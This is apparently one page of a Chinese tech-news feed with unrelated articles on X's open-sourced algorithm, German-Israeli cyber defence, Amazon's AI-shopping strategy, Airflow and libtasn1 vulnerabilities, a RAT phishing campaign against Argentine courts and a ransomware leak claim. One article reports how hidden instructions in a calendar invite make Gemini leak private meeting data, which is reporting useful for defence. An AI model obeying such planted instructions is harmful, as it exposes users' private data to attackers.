开发者从代码解析中提炼运营指南

用户 @razroo_chief（查理・格林曼）基于算法逻辑设计了一款 Claude 提示词，旨在最大化多维度信号权重：“核心优化目标：停留时间…… 回复量…… 转发量…… 点赞量…… 收藏量。” 该提示词建议，内容应采用反直觉的开篇、结构化的机制解析，并以冷静、系统的语气呈现深度洞察 —— 摒弃浮夸表达，聚焦科技系统、行为模式等主题的知识性输出。
发布后首小时的早期互动数据会显著影响算法预测结果，标签（Hashtag）仍具备实用价值，而富含媒体元素的内容格式更具竞争力。标签有助于内容发现，但积累高活跃度粉丝群体，其重要性远超单一运营技巧。
@GodsBurnt 走红的指南中强调：“收藏量是黄金指标…… 停留时间：若用户未点击‘展开更多’或观看视频，内容将被降权。” 这一机制让内容传播更趋公平，奖励具有深度关联价值的内容，而非浅层数据表现。

Grok演进推动算法全面革新

马斯克过往推文记录了算法迭代轨迹：2025 年 5 月，他宣布用 Grok 替代原有算法以实现突破性优化；同年 10 月，该模型已能每日处理 1 亿条帖子，基于内容质量进行精准匹配；8 月，Grok 4 Mini 的测试版本动用了 2 万台 GPU，在延迟控制与性能提升之间实现平衡。
The Verge 回顾了马斯克 2023 年推特（现 X）的代码公开行动 —— 当时的更新并不规律，与此次承诺形成鲜明对比。路透社指出，马斯克曾在 1 月 10 日承诺，将在 7 天内公开完整的自然流量与广告算法代码。
News9live 详细报道了 Phoenix 系统从人工规则向 AI 驱动的转型，通过 Transformer 架构预测用户互动行为，且更侧重回复而非点赞数据。

透明度举措遭遇监管压力

据 TechSpot 观察，马斯克的透明度举措旨在回应外界对平台 “不透明” 的指责，但过往类似承诺的执行力度参差不齐。ComputerWeekly 强调，此次开源包含了全部推荐算法代码。
WebProNews 报道称，用户可通过自然语言自定义信息流，例如输入 “无政治内容，仅展示 AI 创新”，这一功能进一步凸显了与 Grok 模型的深度整合。而此时，欧盟与美国正针对算法偏见问题展开调查。
StockTwits 呼吁专家对开源代码进行深度评审，尽管存在部分缺失，但此次披露已覆盖推荐机制的核心运作逻辑。

对平台与创作者的深远影响

对行业内部人士而言，此次开源揭示了算法 “重预测” 的排序逻辑：早期回复会引发雪球效应，媒体内容能持续吸引注意力，垂直领域定位可集中流量资源。Hypebeast 指出，此次代码发布与外界对 Grok 的审视密切相关，X 承诺将提供完整访问权限并持续更新。
创作者需及时调整策略：快速回应评论、避免在推文中直接嵌入外部链接、打造能提升用户停留时间的内容格式。正如巴克总结的：“与受众保持互动，建立深度关系，让用户留在平台内。”
X 的开源模式向竞争对手发起挑战 —— 将 xAI 的技术优势与开放代码相结合，在公众监督下持续优化信息流。这一举措或将重塑社交媒体算法的行业生态。

本月早些时候，德国内政部长亚历山大・多布林特前往特拉维夫，与以色列总理本雅明・内塔尼亚胡签署一项网络防御合作协议。多布林特在一份声明中表示：“我们希望借鉴以色列打造网络穹顶的经验。”他所指的是以色列一套较新的网络防御系统，其在访问期间现场观摩了该系统的演示。

长期以来，以色列在网络安全领域有较强的技术积累，这在很大程度上源于其兵役制度为以色列国防军8200部队输送了大量人才——该部队职能与美国国家安全局相近。以色列多家网络安全领域的企业，如威兹（Wiz）和捷邦（Check Point），均由该部队退伍人员创立。以色列的网络安全实力也基于现实需求发展而来，以色列情报官员透露，去年全球3.5%的网络攻击目标指向以色列。

 

以色列的网络穹顶系统早有构想，本质上是一款集中化且部分自动化的威胁检测工具，借助人工智能对来自多个来源的数据流进行整合分析。

 

“网络穹顶”这一名称，对应以色列运行约15年的“铁穹”导弹防御系统。在去年6月的冲突中，两套“穹顶”系统均经历了实战检验。以色列国家网络局称，冲突期间，网络穹顶成功阻止了数十起针对关键基础设施的网络攻击。

 

总部位于柏林的科技智库“接口”（Interface）网络安全政策与韧性研究负责人斯文・赫皮格表示：“以色列已部署本国版本的网络穹顶系统，在系统运维、升级以及构建专业化的工业网络防御和网络攻击应对生态体系方面，具备实践经验。”他指出，德国大概率会从以色列在网络穹顶研发以及网络攻击应对生态体系构建方面的技术能力中获得助力。

 

目前，德国联邦情报局若对向德国发起网络攻击的对象实施反击、摧毁其境外基础设施，在法律层面处于违规状态。德国政府正准备修改相关立法，调整联邦情报局的职权范围，这份法律草案预计会引发较大争议。有报道称，该机构或将获准收集并存储民众的网络活动内容，人权组织已对此表达反对态度。

 

暂不考虑法律层面的不确定性，赫皮格认为：“目前尚不清楚德国能从以色列的网络穹顶系统和网络攻击应对生态体系中获得多少实际借鉴与收益。”

 

根据协议，两国将从合作中双向受益，共同开发新一代网络穹顶系统。双方还将共建一个“人工智能与网络创新”联合中心，重点攻关车联网安全以及能源基础设施防护领域的网络安全问题。

 

德以两国还将携手开展无人机侦测与防御方面的合作。近年来，以色列在应对无人机袭击方面积累了大量实战经验，以色列国防部上月曾宣布在该领域取得技术突破；德国对无人机威胁的关注度也日益提升。2025年，德国共记录到1000多起可疑无人机飞行事件，该国认为这些事件多数与安全威胁相关。此前曾有无人机出现在德国军事设施上空，还导致柏林和慕尼黑的机场运行中断。

 

本月两国签署网络防御合作协议时，内塔尼亚胡表示，这一协议是两国现有导弹防御合作的延伸。上月，德国与以色列续签合同，扩大了“箭–3”反导系统的采购规模。该系统近期被以色列用于拦截伊朗和胡塞武装发射的导弹，以色列方面称其具备反卫星能力。此次合同续签后，交易总价值达到约65亿美元，为以色列迄今为止最大的军售订单。

亚马逊首席执行官安迪・贾西（Andy Jassy）设想，在竞争对手纷纷推出 AI 购物代理的背景下，人工智能将通过复制实体店的 “惊喜发现感” 来改变零售业。亚马逊正在谈判向 OpenAI 投资约 100 亿美元，并与芯片使用量挂钩；与此同时，亚马逊也在开发 “帮我买”（Buy For Me）等内部工具，以维持其主导地位。这一战略转向旨在将创新与合作伙伴关系结合起来，以在未来的 AI 商务领域保持领先。

亚马逊的贾西在 AI 商务大战中前行：在购物代理竞争中押注 OpenAI

在达沃斯世界经济论坛的繁忙大厅里，亚马逊公司首席执行官安迪・贾西最近分享了他对零售业未来的愿景，强调人工智能可能会彻底改变消费者的购物方式。在一场小组讨论中，贾西指出，AI 有潜力弥合线上和线下购物体验之间的差距，并表示先进技术可能很快就能复制在实体店闲逛时那种 “偶然发现好物” 的感觉。
“在我看来，实体零售目前仍有一些优势的地方，是你可以走进店里，不知道自己想要什么，提出问题，不断细化问题，然后有人会给你推荐一些你甚至不知道存在的东西。” 据《The Information》报道，贾西这样说道。
这番评论发表之际，这家电商巨头正面临来自 OpenAI、谷歌和微软等竞争对手开发的 AI 购物代理的激烈竞争。这些工具允许用户直接在聊天界面内完成购买，对亚马逊在在线零售领域的主导地位构成潜在威胁。贾西的言论凸显了亚马逊的战略转向：它不仅在捍卫自己的地盘，还在积极探索合作伙伴关系，以在这个不断演变的领域保持领先。
最近的报道显示，亚马逊正就向 OpenAI 投资约 100 亿美元 进行深入谈判，这笔交易可能使这家 AI 公司的估值超过 5000 亿美元。据路透社 2025 年末的一篇文章详细报道，这笔潜在交易还包括 OpenAI 承诺使用亚马逊的 Trainium AI 芯片，这标志着双方技术联盟的深化。

AI 发展中的战略联盟

贾西对 AI 在提升购物体验方面作用的乐观态度，与更广泛的行业趋势一致。分析师指出，2026 年将是 AI 购物代理的关键一年，消费者将越来越多地为了便利和个性化而测试这些工具。《Modern Retail》的一篇文章指出，零售商和科技巨头正竞相完善这些代理，并押注它们会被广泛采用。
亚马逊面临的困境十分严峻：要么抵制这些可能绕过其平台的外部代理，要么整合类似功能以保留用户忠诚度。根据 CNBC 的分析，OpenAI 的 “即时结账”（Instant Checkout）和 Perplexity 的 “即时购买”（Instant Buy）等创新正在重塑交易方式，有可能将流量从传统电商网站分流。
作为回应，亚马逊一直在测试自己的功能，例如 “帮我买”（Buy For Me）选项，该功能允许用户在不离开亚马逊生态系统的情况下从第三方网站购买商品。行业观察人士在 X 上的帖子指出，这是一种防御策略，有用户注意到 AI 代理现在可以在一次对话中完成从产品研究到结账的所有操作，凸显了竞争压力。

与科技巨头的正面交锋

AI 与商务的融合，使主要参与者走上了直接竞争的道路。《The Information》的一篇报道描述了谷歌、亚马逊和 OpenAI 各自如何追求不同的战略，从专有代理到协作商务模式。这场竞争还延伸到了微软，微软最近推出了 “Copilot Checkout”，允许在其 AI 聊天机器人中无缝完成购买。
GeekWire 报道了微软进入这一领域的消息，并强调其企业关系可能使其相对于亚马逊和其他公司具有优势。“微软正在推出一项新的‘Copilot Checkout’功能，让购物者可以直接在其 AI 聊天机器人内完成购买，”GeekWire 的文章指出，并强调了在 AI 驱动的商务中对零售商关系的押注。
贾西在达沃斯的亮相中也谈到了围绕 AI 投资的泡沫担忧。《The Register》的一篇最新报道援引他的话称，他承认存在炒作，但重申亚马逊致力于从中挖掘价值，即使这些交易看起来有些 “循环”。

OpenAI 合作关系动态

对 OpenAI 潜在的 100 亿美元投资不仅仅是财务上的，更是为了确保技术优势。正如《Fortune》一篇文章所引用的专家观点，这被视为亚马逊在 “下一盘大棋”。分析师查尔斯・菲茨杰拉德（Charles Fitzgerald）表示：“如果 OpenAI 中了‘彩票’，那么他们就有足够的钱来支付这笔费用。” 他指的是芯片使用协议。
这种关系建立在亚马逊现有的 AI 计划之上，包括其 AGI 团队正努力超越 Anthropic 等合作伙伴的模型。2024 年 X 上的历史帖子回顾了亚马逊对 Anthropic 的投资，但此次转向 OpenAI 表明，在 OpenAI 自身内部发生变化的背景下，亚马逊正在采取多元化战略。
《印度时报》最近的消息详细报道了 OpenAI 从其前首席技术官领导的初创公司挖走人才的情况，这表明 OpenAI 内部存在动荡，而亚马逊可能通过投资加以利用。

正在重塑零售互动的创新

除了投资之外，亚马逊还在将 AI 深度嵌入其运营中。贾西 2025 年在 X 上的帖子宣传了新的智能体式 AI（agentic AI）功能，这些功能可以通过分析数据和自动化任务来帮助卖家扩展业务。这种内部关注与外部合作伙伴关系相辅相成，旨在创造无缝的购物旅程。
《Wired》探讨了一些开发者不愿让 AI 代理作为用户互动中介的担忧，正如一篇 WIRED 文章所讨论的那样，AI 正成为下一个平台。然而，亚马逊仍在推进，AI 已用于预测需求、优化配送路线，甚至在仓库中提供协助，正如 2023 年的 X 帖子所展示的那样。
X 上的行业情绪反映了对这些进步的兴奋。有帖子称，像亚马逊这样的数字商务平台正将 AI 转变为核心基础设施，触及从推荐到配送的各个方面。

挑战与消费者采用

尽管热情高涨，但挑战依然存在。贾西在达沃斯的评论提到了实体零售仍然持有的优势，这意味着 AI 必须不断发展，才能匹配那种探索的乐趣。分析师警告称，2026 年消费者对 AI 代理的接受程度将是真正的考验，正如《Modern Retail》的分析所指出的那样。
此外，潜在的 OpenAI 交易引发了有关反垄断审查的问题，考虑到投资规模和市场影响力。路透社关于谈判的报道强调了估值方面的影响，这可能会重塑 AI 融资动态。
a16z 等风险投资公司在 X 上的帖子认为，AI 正在将在线购物模式从 “量” 转向 “质” 和个性化，亚马逊必须谨慎应对这一转变，以免被边缘化。

AI 商务整合的未来轨迹

展望未来，亚马逊的战略似乎是多方面的：投资尖端 AI 公司、开发内部工具，并适应新兴的消费者行为。贾西早些时候在 2023 年 X 帖子中对 “亚马逊在 AI 方面落后” 的说法提出质疑，这表明他一贯强调实质而非炒作。
《The Information》详细描述了亚马逊与谷歌和 OpenAI 的正面竞争，这表明可能会出现共享商务模式，但专有优势将决定胜负。正如 GeekWire 所指出的，微软的 Copilot 举措又增加了一层竞争，它将利用其企业关系。
最终，随着 AI 设备的普及，《Wired》指出开发者存在犹豫，但亚马逊的规模可能使其处于领先地位。贾西在达沃斯提出的愿景强调了 “细化问题” 和 “发现”，指向一个未来：AI 代理将充当虚拟商店助理，将在线效率与线下的惊喜发现感完美结合。

在投资与内部增长之间取得平衡

亚马逊对 OpenAI 的潜在注资并非孤立存在，而是更广泛战略推进的一部分。《Fortune》的专家强调了这种战略耐心，亚马逊押注 OpenAI 的成功将推动芯片的采用。
内部开发项目，例如 2024 年 X 帖子中提到的 Olympus LLM，表明亚马逊在合作的同时也致力于自力更生。这种双轨方式可以减轻 OpenAI 危机带来的风险，正如《印度时报》所报道的那样。
X 用户最近对亚马逊的 “帮我买” 功能表示赞赏，认为它是对 OpenAI 即时结账的反击，有助于维持生态系统的控制权。

竞争压力与市场反应

根据《Modern Retail》的说法，AI 购物大战正在升温，2026 年将是关键时期。正如 CNBC 所描述的那样，亚马逊面临的困境是：与这些代理对抗，还是加入它们。
贾西在《The Register》中对 “泡沫” 的承认反映了他在乐观中的现实态度。“当然这是一个泡沫，而且这些交易是循环的 —— 但这并不意味着亚马逊不会努力从中榨取价值。” 他说。
X 上的情绪强调了 AI 在电商基础设施中的作用，从亚马逊到沃尔玛和 Shopify 等竞争对手，正如一篇帖子所对比的那样。

不断演变的消费者期望

消费者可能很快就会期望 AI 能够无缝处理复杂的购物任务。《The Information》对达沃斯的报道援引贾西的话，强调实体零售的优势，这正推动亚马逊在数字领域进行创新。
《Wired》关于 AI 平台的文章警告称存在开发者的抵制，但亚马逊的整合可能会促进采用。
正如 X 上的帖子所暗示的那样，AI 正在从头开始重塑购物，重点放在用户体验和价格优化上 —— 而这些正是亚马逊擅长的领域。

亚马逊的战略展望

在这种高风险环境下，亚马逊与 OpenAI 的谈判代表着一场大胆的赌注。路透社详细报道了 100 亿美元的数字，并将其与芯片承诺挂钩。
《Fortune》分析师认为，这是一种长期定位，将 OpenAI 视为 “AI 领域的舒洁（Kleenex）”。
贾西的领导能力在他关于卖家工具的 X 帖子中显而易见，这使亚马逊能够将 AI 创新与零售实力结合起来，从而在竞争中脱颖而出。
正如《The Information》所概述的那样，前进的道路包括在竞争中导航，确保亚马逊在 AI 商务的演变过程中保持核心地位。

Apache Airflow 已修复其 3.1.6 版本之前存在的两个独立的凭证泄露漏洞。
这些漏洞可能允许攻击者通过日志文件和 Web 界面，提取嵌入在代理配置和模板化工作流字段中的敏感认证数据，进而可能危及网络基础设施和敏感数据管道的安全。
第一个漏洞影响 Apache Airflow 3.1.6 之前的版本，根源在于 Connection 对象中对代理 URL 的处理不当。
维度    CVE-2025-68675    CVE-2025-68438
受影响版本    Apache Airflow < 3.1.6    Apache Airflow 3.1.0–3.1.6
严重程度    低    低
泄露数据    代理凭证    API 密钥、令牌、机密信息
涉及组件    连接代理字段    渲染模板 UI
修复版本    3.1.6    3.1.6
代理配置通常以 http://username:password@proxy.example.com:8080 的形式包含嵌入式认证凭证。
这些字段未被标记为敏感信息，这意味着每当连接被渲染或显示时，代理凭证都会以明文形式记录在日志中。
在 Airflow 的日志架构中，当用户查看连接详情、排查数据管道问题或访问审计日志时，任何拥有日志访问权限的人都能看到这些代理凭证。
这在多团队共享 Airflow 实例的环境中尤其危险 —— 攻击者或心怀不满的内部人员可能提取这些凭证，用于拦截网络流量或通过代理基础设施横向移动。
第二个漏洞影响 Airflow 3.1.0 至 3.1.6 版本，涉及渲染模板 UI 中机密信息的屏蔽机制不当。
然而，序列化过程中使用的机密信息屏蔽实例未识别用户注册的 mask_secret() 模式，导致敏感值在被截断前未被屏蔽而直接暴露。
该漏洞使拥有 Web 界面访问权限的攻击者，能够在渲染模板中查看 API 密钥、数据库凭证和令牌等敏感数据。
由于截断操作发生在序列化之后而非之前，屏蔽层失效，机密信息会完整暴露（除非恰好落在被截断的部分）。
这两个漏洞均要求攻击者要么直接访问日志文件，要么获得 Airflow Web 界面的认证权限，这也降低了它们的严重程度评级。
但在云环境中，日志通常会被集中汇总并允许跨团队访问，且 Web 界面的访问权限可能被广泛授予。
Apache 已在 3.1.6 版本中修复了这两个问题。企业应优先立即升级，因为这些漏洞会直接危及认证机密的安全。
此外，管理员应审查日志保留策略，并在集中式日志系统中实施机密信息编辑规则，以防止凭证意外泄露。
如需临时缓解风险，企业可限制 Airflow 日志和 Web 界面的访问权限、实施 IP 白名单，并轮换可能已泄露的所有凭证。
安全团队应审计近期日志，排查可疑的认证尝试或未授权的代理访问行为。
这两个漏洞由 lwlkr 和威廉・阿什发现，分别由安基特・乔拉西亚和阿莫格・德赛开发了修复方案。
依赖 Airflow 进行数据管道编排的用户，应将此次升级视为保护工作流基础设施和下游系统安全的关键任务。

GNU libtasn1 中被发现一个潜在危险的漏洞。该库是无数应用用于处理安全通信和数字签名的基础软件组件。漏洞编号为 CVE-2025-13151，CVSS 评分为 7.5，属于栈缓冲区溢出，可能在安全敏感场景中导致内存破坏。
该库是密码学供应链中的关键组件，负责实现 ASN.1 数据结构的解析规则 —— 这正是 X.509 数字证书和 SSL/TLS 协议所使用的格式。
漏洞位于 decoding.c 文件中的 asn1_expand_octet_string 函数深处。根据漏洞说明，问题源于 “不安全的字符串拼接”，代码在构造局部栈缓冲区时没有进行适当的边界检查。
在一个典型的编程疏忽中，开发者使用了 “无界字符串操作函数（strcpy 和 strcat）” 来将两个名称与一个点分隔符拼接在一起。
“在最坏情况下，两个源字符串都可能达到其最大允许长度，” 报告解释说。“当它们与一个额外的分隔符（‘.’）和一个终止 null 字节拼接时，目标缓冲区的大小少了一个字节。”
这个看似微小的计算错误导致最终的 null 终止符 “溢出分配的栈缓冲区一字节”。
虽然一字节溢出听起来微不足道，但在密码学领域，精度至关重要。“历史上，一字节栈溢出曾导致微妙的内存破坏问题，并可能在签名验证或证书解析等加密操作中引发崩溃或其他意外行为。”
不过，也存在一些缓解因素。触发该漏洞需要攻击者向库提供 “畸形的 ASN.1 数据”，这实际上打破了 “数据已由主应用验证” 的假设。此外，现代防御机制如 “栈保护（stack canaries）” 和 _FORTIFY_SOURCE 可能会限制漏洞被成功利用的可能性。
该漏洞由微软研究院的 Benny Zelster 披露。GNU libtasn1 项目已收到修复不安全字符串处理的补丁。
开发者和集成商被敦促 “评估该补丁并采取适当的缓解措施，例如使用有界字符串操作”，以消除其安全应用中的这一隐藏风险。

一场针对阿根廷司法系统的高精准鱼叉式钓鱼攻击已悄然出现，攻击者利用人们对合法法院通信的信任，投放危险的远程访问木马（RAT）。
该攻击活动使用看似真实的联邦法院预防性羁押复审文件，诱使法律专业人士下载恶意软件。
安全专家已将此次攻击归类为高度定向攻击，它采用多阶段感染技术，旨在长期获取敏感法律与机构系统的访问权限。
攻击始于收件人收到包含 ZIP 压缩包的邮件，该压缩包伪装成官方司法通知。
压缩包内，攻击者植入了一个伪装成 PDF 的恶意 Windows 快捷方式文件（LNK），同时包含一个批处理脚本加载器和一份看似真实的法院裁决文件。
当受害者点击看似标准的 PDF 文件时，恶意执行链随即启动，同时会显示一份极具迷惑性的诱饵文档以避免引起怀疑。这种社会工程学手法让该攻击在日常处理法院文件的司法人员中格外有效。
Seqrite 的分析人员发现了这一攻击活动，并揭露了其复杂的多阶段传播机制。
研究团队发现，该恶意软件专门针对阿根廷法律行业，包括司法机构、法律专业人士以及与司法系统相关的政府部门。
诱饵文档以极高的精度模仿阿根廷联邦法院的真实裁决文件，使用正式的法律西班牙语、规范的案件编号、司法签名，并引用真实机构（如刑事与矫正口头法庭）。
这种高度的细节还原大幅提升了攻击在目标受害者中的成功率。

感染机制：从快捷方式到远程访问木马（RAT）的部署

该攻击采用三阶段感染流程，旨在规避检测。恶意 LNK 文件会以隐藏模式启动 PowerShell，绕过执行策略以运行批处理脚本，该脚本连接到托管在 GitHub 上的基础设施。
此脚本会下载第二阶段载荷，该载荷伪装成 “msedge_proxy.exe”，存储在 Microsoft Edge 用户数据目录中以显得合法。
最终载荷是一个基于 Rust 语言开发的远程访问木马（RAT），具备强大的反分析能力。
该 RAT 在执行前会进行全面的环境检查，扫描虚拟机、沙箱和调试工具。如果检测到分析工具，恶意软件会立即终止运行以避免被调查。
一旦成功运行，它会建立加密的命令与控制通信，为攻击者提供包括文件窃取、持久化安装、凭证窃取，甚至通过模块化 DLL 组件部署勒索软件等多种功能。

安全研究人员发现了 Google Gemini 中的一个漏洞，该漏洞允许隐藏在会议邀请中的指令提取私人日历数据并创建具有欺骗性的日程事件。
安全研究人员披露，Google Gemini 人工智能助手中存在一处缺陷，攻击者只需在会议邀请中植入精心构造的隐藏文本，就能悄无声息地获取用户的私人日历数据。
该漏洞由网络安全公司 Miggo 发现。该公司称，他们找到了一种绕过 Google 日历隐私控制的方法 —— 在日历事件描述中嵌入隐藏指令。在一篇解释此项研究的博客中，Miggo 指出，这一漏洞揭示了 AI 系统如何通过日常自然语言而非恶意代码被操控。
Miggo 研究主管利亚德・埃利亚胡表示：“这种绕过方式使得攻击者可以在无需用户任何直接交互的情况下，未经授权访问私人会议数据并创建具有欺骗性的日历事件。”

将 Gemini 的 “乐于助人” 变为攻击用户的工具

Gemini 在 Google 日历中扮演助手角色，可回答用户诸如 “我有哪些会议” 或 “某一天是否有空” 等问题。为此，它会自动读取事件标题、描述、时间及参会者详情。
Miggo 指出，正是这种集成机制成为了安全短板。
Miggo 解释道：“由于 Gemini 会自动导入并解析事件数据以提供帮助，攻击者只要能影响事件字段，就可以植入自然语言指令，供模型后续执行。”
在攻击场景中，攻击者向受害者发送日历邀请，事件描述中隐藏着一段用普通文字编写的提示。这段文字看起来毫无可疑之处，也不需要受害者点击任何链接。
恶意指令会一直处于休眠状态，直到受害者日后向 Gemini 提出一个正常问题（例如 “我某天是否有空”）时，就足以触发攻击代码的执行。

Everest 勒索软件团伙已宣称对麦当劳印度公司的重大网络攻击负责，并声称窃取了 861 GB 的敏感企业与客户数据。
威胁 actor 于 2026 年 1 月 20 日 在其暗网泄露站点发布了入侵细节，并威胁称，如果麦当劳未能在其设定的期限内回应，将公开发布这些数据。

据称的数据泄露规模

根据该勒索软件团伙的声明，此次入侵导致大量公司内部文档和客户个人信息被泄露。
攻击者表示：“你们客户的个人数据和内部文档已被泄露到我们的存储中”，其中包括 “大量各类客户个人文档和信息”。
被窃取的数据据报包含可能被用于身份盗窃和针对性钓鱼攻击的内部记录，影响范围覆盖印度数百万消费者。

关于 Everest 勒索软件团伙

Everest 是一个俄语系勒索软件组织，于 2020 年 12 月 首次出现。起初专注于数据窃取，随后在 2021 年初 发展出完整的勒索软件能力，采用 AES/DES 双重加密。
据 CSN 报道，该团伙擅长 “纯勒索” 策略，不仅加密文件，还会窃取并出售敏感企业数据。
其近期的知名受害者包括：
  • 华硕（ASUS）
  • 日产汽车公司（2026 年 1 月被窃 900 GB 数据）
  • 都柏林机场（2025 年 10 月泄露 150 万乘客记录）

麦当劳印度尚未确认泄露事件

麦当劳在印度通过两个实体运营：
  • Connaught Plaza Restaurants：负责印度北部和东部
  • Hardcastle Restaurants：负责印度西部和南部
自 1996 年进入印度市场以来，其门店为数百万消费者提供服务。
此次事件是该快餐巨头在印度运营面临的又一网络安全挑战。其印度业务此前曾在 2017 年 和 2024 年 出现过数据安全问题。

潜在影响与担忧

客户个人数据的潜在泄露引发了对隐私侵犯以及是否符合印度数据保护法规的重大担忧，尤其是如果敏感信息落入犯罪分子手中并被滥用。

赛博方舟（CyberArk）发布了一份针对亚太地区公钥基础设施（PKI）的全新研究报告，报告指出，随着企业管理的数字证书数量持续攀升，该地区正面临运营中断事件增多、合规信心不足的双重问题。
本次研究由波内蒙研究院（Ponemon Institute）开展，面向全球近 2000 名 IT 与安全行业从业者，围绕 PKI 安全及证书管理展开调研。研究发现，老旧的 PKI 系统与人工管理流程在行业中仍广泛存在，而这类方式正是导致企业服务中断、安全事故频发以及运营成本高企的重要原因。
公钥基础设施是数字证书的核心支撑，这类证书用于验证用户、设备及服务的身份合法性。如今，企业在云环境中管理的机器身份和工作负载身份数量，远超出以往水平。这一转变不仅让实际投入使用的证书数量大幅增加，也让证书的续订流程和治理工作变得更为复杂。

服务中断与操作失误频发

在亚太地区，超半数企业表示曾因配置错误遭遇非计划内的服务中断，近半数企业也出现过因证书过期引发的服务中断问题。研究还发现，59% 的亚太地区受访者表示，其企业尚无应对证书颁发机构遭入侵的有效预案。
调研显示，亚太地区仍有近三分之一的企业依靠人工方式跟踪和续订证书，50% 的企业因内部专业人才匮乏，在证书管理中频繁出现操作失误，且管理效率低下。
赛博方舟指出，调研数据反映出亚太地区企业在 PKI 管理上存在信心缺口：尽管部分领域中，亚太受访者对本地 PKI 运行表现的信心高于其他地区，但仅有不到半数的受访者表示，对自身 PKI 体系满足合规要求抱有高度信心。
具体来看，亚太地区仅 45% 的企业对其 PKI 体系符合合规要求持高度信心；仅有 48% 的企业确信，自身的 PKI 体系能有效抵御网络攻击和内部威胁。

全局可视性缺失成核心痛点

该报告将缺乏集中化的全局可视性列为亚太地区实现安全 PKI 管理的主要障碍之一。调研发现，39% 的受访者表示，无法对企业内部所有数字证书实现集中化可视化管理，是其 PKI 管理的最大难题；38% 的受访者则认为，安全、合规及审计工作的失效是首要阻碍。
从全球调研样本来看，老旧的 PKI 系统是企业实现安全证书管理的首要障碍，60% 的企业因该问题遭遇过安全漏洞被利用的情况。
研究还揭示了企业证书管理工作的规模：受访企业平均管理着超过 10.5 万个内部数字证书，多数企业均配备了三名全职员工，专门负责 PKI 体系的管理工作。

资源紧缺与外包趋势凸显

资源受限成为本次研究中反复提及的问题。调研显示，60% 的企业因专业人才和人员配置不足，目前已将 PKI 管理工作外包给安全托管服务提供商，或计划开展此类外包合作。
报告指出，资源受限的问题，与证书使用模式的快速变化形成了矛盾。如今许多企业的数字证书生命周期更短、续订频率更高，若企业仍依赖人工流程管理证书，证书漏续订、配置错误的风险会大幅上升。
赛博方舟机器身份安全业务总经理库尔特・桑德表示：“机器身份的快速扩张，彻底改变了 PKI 的运营模式。老旧的系统、人工的流程以及资源的紧缺，让数量持续增长的证书管理工作，复杂度进一步加剧。”
他还称：“随着证书数量不断增加、有效期持续缩短，未得到有效管理的 PKI 体系，将给企业带来快速攀升的财务损失和运营影响。当下正是企业推进 PKI 体系自动化、现代化转型的关键时期，此举能有效降低运营负担，全面提升企业的安全态势。”

自动化成核心优化方向

报告指出，那些在自动化建设和统一可视性管理上投入资源的企业，不仅服务中断事件显著减少，合规表现也更为优异。同时报告强调，尽管 PKI 在身份认证和数据加密中占据核心地位，但企业对其安全防护能力和合规性的整体信心，仍处于较低水平。
在部分运营指标上，亚太地区受访者的表现优于全球平均水平：52% 的亚太受访者认为，其 PKI 体系能高效应对设备数量和工作负载的增长（全球该比例为 47%）；53% 的亚太受访者表示，其能清晰掌握企业内部证书的数量及分布情况，实现了良好的可视性管理。
此外，亚太和欧洲、中东及非洲地区的受访者表示，其 PKI 体系抵御外部攻击和内部威胁的有效率最高，均达到 49%。
波内蒙研究院主席兼创始人拉里・波内蒙博士表示：“PKI 对于保障数字通信中的信任度、安全性和隐私性，具有至关重要的作用。但本次研究表明，企业对 PKI 体系抵御安全威胁、匹配不断增长的设备和工作负载需求的能力，普遍缺乏信心。”
他还称：“要提升 PKI 体系的有效性，我认为会有更多企业引入人工智能技术，以此降低运营负担，实现更优的安全防护效果。”
赛博方舟预测，在云环境和现代应用场景中，机器身份和数字证书的数量将持续增长；受服务中断风险和合规要求的双重驱动，会有更多企业对自身的证书资产、续订流程及治理体系进行全面审查和优化。
  1. 1
  2. ...
  3. 207
  4. 208
  5. 209
  6. 210
  7. 211
  8. 212
  9. 213
  10. ...
  11. 330